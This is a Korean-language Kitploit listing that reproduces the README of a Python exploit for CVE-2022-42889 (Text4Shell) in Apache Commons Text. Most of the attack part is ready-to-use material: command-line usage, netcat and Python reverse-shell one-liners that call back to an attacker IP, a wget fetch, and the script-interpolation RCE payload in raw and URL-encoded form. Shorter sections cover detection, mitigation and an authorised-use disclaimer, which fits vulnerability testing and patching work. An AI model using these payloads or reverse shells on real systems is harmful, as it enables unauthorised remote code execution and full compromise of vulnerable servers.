Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2022-42889 — Python 익스플로잇 for CVE-2022-42889 (Text4Shell) — Apache Commons Text 보간(interpolation)을 통한 원격 코드 실행을 가능하게 합니다. 리버스 셸 생성, SSRF, 사용자 지정 명령 실행을 지원합니다. | Kitploit
도구/GitHubGitHub/engranaabubakar/cve-2022-42889
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationLearning & EducationRemote Access Tool
GitHubengranaabubakar/cve-2022-42889

CVE-2022-42889

Python 익스플로잇 for CVE-2022-42889 (Text4Shell) — Apache Commons Text 보간(interpolation)을 통한 원격 코드 실행을 가능하게 합니다. 리버스 셸 생성, SSRF, 사용자 지정 명령 실행을 지원합니다.

저장소 보기
126개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

🚀 CVE-2022-42889 (Text4Shell) 익스플로잇

Python 3 License CVE

Apache Commons Text 1.10.0 미만 버전에서 발생하는 치명적인 원격 코드 실행 취약점인 CVE-2022-42889(Text4Shell)을 위한 Python 익스플로잇입니다.

📋 목차

  • 설명
  • 취약점 세부 정보
  • 영향을 받는 버전
  • 익스플로잇 기능
  • 요구 사항
  • 사용법
  • 예제
  • 작동 방식
  • 탐지
  • 완화
  • 참고 자료
  • 면책 조항

📝 설명

이 익스플로잇은 StringLookup 인터폴레이터가 처리하는 특수하게 조작된 입력 문자열을 통해 **원격 코드 실행(RCE)**을 허용하는 Apache Commons Text의 취약점인 CVE-2022-42889(Text4Shell)를 대상으로 합니다.

이 취약점은 영향력 측면에서 Log4Shell과 유사하지만 다른 라이브러리에 영향을 미칩니다. 사용자 제어 입력이 취약한 메서드에 전달되면 공격자는 대상 시스템에서 임의의 코드를 실행할 수 있습니다.

🎯 취약점 세부 정보

  • CVE ID: CVE-2022-42889
  • CVSS 점수: 9.8 (치명적)
  • 공격 경로: 네트워크
  • 필요 권한: 없음
  • 사용자 상호 작용: 없음
  • 영향: 전체 시스템 손상

취약한 구성 요소

Apache Commons Text는 StringLookup 인터페이스를 통해 문자열 보간을 제공합니다. interpolator 조회는 다음과 같은 다양한 접두사를 사용하여 표현식을 평가할 수 있습니다:

  • ${script:javascript:...} - JavaScript 코드 실행 (Nashorn 엔진)
  • ${url:UTF-8:...} - URL 가져오기 (SSRF)
  • ${dns:...} - DNS 조회

⚠️ 영향을 받는 버전

제품영향을 받는 버전패치된 버전
Apache Commons Text< 1.10.01.10.0
Java< 15 (RCE의 경우)15+ (Nashorn 비활성화)

참고: Java 버전 ≥ 15는 script 접두사(Nashorn 비활성화)를 통한 RCE에는 취약하지 않지만, url 및 dns 접두사를 통한 SSRF에는 여전히 취약할 수 있습니다.

✨ 익스플로잇 기능

  • ✅ JavaScript 보간을 통한 원격 코드 실행(RCE)
  • ✅ URL 보간을 통한 서버 측 요청 위조(SSRF)
  • ✅ 악성 페이로드의 URL 인코딩
  • ✅ 사용자 정의 명령 실행
  • ✅ LHOST/LPORT를 사용한 리버스 셸 생성
  • ✅ 오류 처리 및 응답 표시

📦 요구 사항

  • Python 3.6+
  • requests 라이브러리

의존성 설치:

pip install requests

사용법
bash
python3 text4shell.py -t <TARGET_IP> -p <PORT> -c <COMMAND> --lhost <YOUR_IP> --lport <YOUR_PORT>
인자
Argument	Description	Required
-t, --target	대상 IP 주소	✅ 예
-p, --port	대상 포트 (기본값: 8080)	❌ 아니요
-c, --command	실행할 명령	✅ 예
--lhost	리버스 셸용 내 IP	✅ 예
--lport	리버스 셸용 내 포트	✅ 예
💻 예제
예제 1: 간단한 명령 테스트
bash
python3 text4shell.py -t 192.168.1.100 -p 8080 -c "touch /tmp/test" --lhost 192.168.1.50 --lport 4444

예제 2: netcat을 사용한 리버스 셸
bash
# Start listener
nc -lvnp 4444

# Run exploit
python3 text4shell.py -t 192.168.1.100 -p 8080 -c "busybox nc 192.168.1.50 4444 -e bash" --lhost 192.168.1.50 --lport 4444

예제 3: Python 리버스 셸
bash
python3 text4shell.py -t 192.168.1.100 -p 8080 -c "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.1.50\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'" --lhost 192.168.1.50 --lport 4444

예제 4: SSRF 테스트
bash
python3 text4shell.py -t 192.168.1.100 -p 8080 -c "wget http://192.168.1.50:8000/test" --lhost 192.168.1.50 --lport 4444

## 🔧 작동 방식

페이로드 구성: 스크립트는 ${script:javascript:...} 구문을 사용하여 악성 문자열을 생성합니다:

javascript
${script:javascript:java.lang.Runtime.getRuntime().exec('COMMAND')}

URL 인코딩: 특수 문자가 올바른 전송을 위해 URL 인코딩됩니다:

text
%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27COMMAND%27%29%7D

HTTP 요청: 스크립트는 다음으로 GET 요청을 보냅니다:

text
http://TARGET:PORT/search?query=ENCODED_PAYLOAD

명령 실행: 취약한 경우 대상은 JavaScript를 평가하고 명령을 실행합니다.

## 🔍 탐지

시스템이 취약한지 확인하세요:
수동 테스트:

bash
curl -s "http://target:8080/search?query=\${script:javascript:7*7}"
응답에 ${script:javascript:7*7} 대신 49가 포함되어 있으면 시스템이 취약한 것입니다.

버전 확인:
CHANGELOG 또는 README 파일에서 Apache Commons Text 버전을 확인하세요.

애플리케이션에서 commons-text-*.jar 파일을 찾으세요.

## 🛡️ 완화

Apache Commons Text를 1.10.0 이상 버전으로 업그레이드하세요.

xml
<dependency>
    <groupId>org.apache.commons</groupId>
    <artifactId>commons-text</artifactId>
    <version>1.10.0</version>
</dependency>

Java 15+로 업그레이드하세요(Nashorn JavaScript 엔진 비활성화).

입력 검증: 사용자 입력에 대한 엄격한 검증을 구현하세요.

보간 비활성화: 필요하지 않다면 `StringSubstitutor.createInterpolator()` 사용을 피하세요.

웹 애플리케이션 방화벽(WAF): `${script:javascript:}` 패턴이 포함된 요청을 차단하세요.

## 📚 참고 자료

NVD - CVE-2022-42889

Apache Commons Text 보안

Tarlogic - Text4Shell 분석

CISA 경보

## ⚠️ 면책 조항

이 익스플로잇은 교육 목적 및 승인된 보안 테스트 전용입니다. 소유하지 않았거나 테스트에 대한 명시적 허가를 받지 않은 시스템에 이 익스플로잇을 무단 사용하는 것은 불법입니다. 저자는 이 도구로 인한 오용이나 피해에 대해 책임을 지지 않습니다.

## 📄 라이선스

이 프로젝트는 MIT 라이선스에 따라 라이선스가 부여됩니다 - 자세한 내용은 LICENSE 파일을 참조하세요.

## 🤝 기여

기여, 이슈 제기, 기능 요청을 환영합니다! 이슈 페이지를 자유롭게 확인해 주세요.

즐거운 해킹 되세요! 🚀
도구 다운로드